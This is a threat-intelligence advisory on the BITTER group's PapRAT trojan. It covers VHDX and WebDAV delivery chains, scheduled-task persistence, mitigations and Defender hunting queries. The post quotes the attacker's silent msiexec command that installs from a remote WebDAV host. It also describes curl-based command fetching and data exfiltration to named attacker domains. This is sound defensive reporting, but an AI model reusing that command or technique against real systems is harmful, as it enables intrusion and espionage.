Phishing

On November 2, FortiGuard Labs published research on a new remote access trojan (RAT) called PapRAT, which it attributes with high confidence to BITTER, a suspected South Asian espionage group also tracked as TA397 and active since at least 2013. The lures are diplomatic: a request for a bilateral meeting at the 22nd HACGAM, a letter from an ambassador about the 11th Belt and Road Summit, and an invitation to a 2026 gala dinner. Fortinet describes the targets as South Asian organisations; one outlet's summary also lists Southeast Asia and South Korea, which the Fortinet report does not.

No vulnerability is exploited. Every chain relies on a person opening an attachment and on Windows components that are enabled by default: disk image mounting, the WebDAV client, ftp.exe, curl, scheduled tasks and the Windows Installer. Organisations that deal with foreign ministries, defence bodies or event organisers should check whether their users can reach those components.

How the VHDX chain works

A VHDX file is a virtual hard disk. On Windows 8 and later, double-clicking one mounts it as a new drive letter, the same way an ISO image opens. The BITTER file is named Letter from the Ambassador - 11th Belt and Road Summit.vhdx. When it mounts, the user sees one shortcut (LNK). Two hidden files sit beside it: a decoy spreadsheet, Attachment-2.xls, and an installer, Visa_Details.msi. The shortcut runs cmd.exe /c to open the spreadsheet and silently install the MSI at the same time.

The disk image matters because of Mark of the Web (MotW). When a browser or mail client saves a file from the internet, Windows tags it with a Zone.Identifier alternate data stream, an extra hidden stream on an NTFS file. Office Protected View, SmartScreen and the "open file" warnings all read that tag. The tag sits on the outer .vhdx file, but the files inside live on a separate volume and historically did not inherit it, which is why Red Canary listed container files as the most common MotW bypass. Microsoft's November 2022 update (CVE-2022-41091) aimed to carry MotW into container formats, but defenders should not rely on every build and every file handler honouring it.

The MSI has no real install logic. Its only executable entry is a Type 194 custom action, which runs an embedded executable. That executable is PapRAT, posing as bruzsvc.exe with "Microsoft Corporation" and "Microsoft redistributables" in its version information.

How the WebDAV chain works

WebDAV is an extension of HTTP for reading and writing files on a web server. Windows includes a client for it (the WebClient service), so a path such as \\server@SSL\folder\file makes Windows fetch the file over HTTPS on port 443 as if it were a network share. The @SSL suffix is what switches the connection to TLS.

The third chain starts with a RAR archive holding Invitation 2026.url, an internet shortcut. Opening it reaches a WebDAV folder on rappellingaart[.]com, which serves an LNK and a script disguised as an icon file. The script creates a scheduled task, fetches commands with curl, and then runs:

msiexec /i \\rappellingaart[.]com@SSL\secure-docs\Imp_Details.msi /qn

The /qn switch installs with no user interface. Because the MSI is pulled straight from a remote share, it never arrives through the browser or mail client, and blocking attachments by extension does nothing.

What PapRAT does

Fortinet found two builds. The older C++ build talks to its server over plaintext HTTP, hides its configuration with a single-byte XOR key (0x50), and supports eight commands: remote shell, directory listing, file delete, run a file, list drives, screenshot, upload and download. A newer Rust build switches to HTTPS, waits 42 seconds before starting, then checks in every five seconds. It adds three commands, for PowerShell, sleep and a clean exit, and hides its server address by reversing strings and shifting them by three letters (ROT-3). The name comes from the Rust build's PDB file, requpap.pdb, and its product name, "papsolutions".

In the WebDAV chain the operator used PapRAT's download command to fetch vnces.exe, which is WmRAT, a C++ RAT documented in earlier research, connecting to netmansrvdns[.]com. The ftp.exe chain collects directory listings, running processes and installed antivirus, writes them to a file named abc.pdf, posts it to goodnfortunes[.]com/ucl.php, then deletes it.

Persistence in every chain is a scheduled task named to look like routine maintenance: MicrosoftUpdates\updates11678 every 30 minutes, BiosUpdates\update101 every 15 minutes and MicrosoftUpdates\updates88679 every 49 minutes. The tasks use conhost --headless to pipe a file's contents into cmd, and the file they read, C:\users\public\music\err.log, is rewritten by curl from the attacker's server. The operator changes behaviour from the server side without dropping a new binary.

What to do

1. Stop disk images from mounting on double-click. Add an empty string value named ProgrammaticAccessOnly under HKEY_CLASSES_ROOT\Windows.VhdFile\shell\mount (VHD and VHDX) and HKEY_CLASSES_ROOT\Windows.IsoFile\shell\mount (ISO and IMG), pushed through Group Policy Preferences. This removes the Mount verb from Explorer while leaving Mount-DiskImage in PowerShell for admins who need it. Also block .vhd, .vhdx, .iso, .img, .lnk and .url at the mail gateway, including inside archives such as RAR.
2. Turn off the WebDAV client where nobody uses it. Set the WebClient service to Disabled (Set-Service WebClient -StartupType Disabled, or a Group Policy system services setting). Check first: SharePoint "Open in Explorer" and some document management tools depend on it. At the proxy, alert on or block the user agent Microsoft-WebDAV-MiniRedir and the PROPFIND method to destinations outside your approved list.
3. Limit what a dropped installer and shortcut can start. WDAC or AppLocker rules that stop msiexec.exe from installing packages from remote or user-writable paths break this chain at the payload. Consider blocking ftp.exe for standard users; very few need it.
4. Block the published indicators at DNS and proxy: goodnfortunes[.]com, techtalkhelp[.]com, gomescareerplans[.]com, rappellingaart[.]com, rivingtonclarks[.]com, felixfuturenext[.]com and netmansrvdns[.]com. The Fortinet report lists file hashes as well.

How to check whether you were hit

Disk image mounts are logged in Microsoft-Windows-VHDMP-Operational: event ID 1 is a mount and event ID 12 records the image path and type. A VHDX mounted from a user's Downloads or Outlook temp folder, followed within a minute by cmd.exe or msiexec.exe, is the pattern to look for.

In Microsoft Defender for Endpoint, these process hunts cover the rest of the chain:

DeviceProcessEvents
| where (FileName =~ "msiexec.exe" and ProcessCommandLine has "@SSL")
   or (InitiatingProcessFileName =~ "ftp.exe" and FileName =~ "cmd.exe")
   or (FileName =~ "schtasks.exe" and ProcessCommandLine has_all ("conhost", "--headless"))
   or (FileName =~ "curl.exe" and ProcessCommandLine has "err.log")

Also list scheduled tasks under \MicrosoftUpdates\ and \BiosUpdates\ with schtasks /query /fo LIST /v, and look for C:\Users\Public\Music\err.log and any bruzsvc.exe or vnces.exe on disk. If you find PapRAT, assume the operator had a remote shell and file access: reimage the host, reset the user's credentials, and review what the account could reach.

The wider lesson

Filtering attachments by extension only sees the first file. This campaign keeps the payload one hop away: inside a disk image, on a WebDAV share, or in a script named like an icon. The mount, the WebDAV fetch and the silent install all happen on the endpoint, so that is where the blocking controls belong.

If you want to know whether your Windows estate would mount that VHDX or fetch that MSI, our safeguarding and hardening work tests and closes these paths, and security operations can run the hunts above for you. Open the chat and Yaali, our AI agent, will pass your question to the engineer who would do the work.

---

Sources: FortiGuard Labs, Cybersecurity News, Hackread, GBHackers, Infosecurity Magazine, Privacy Needle, Red Canary, MITRE ATT&CK T1553.005, Microsoft DavGetHTTPFromUNCPath.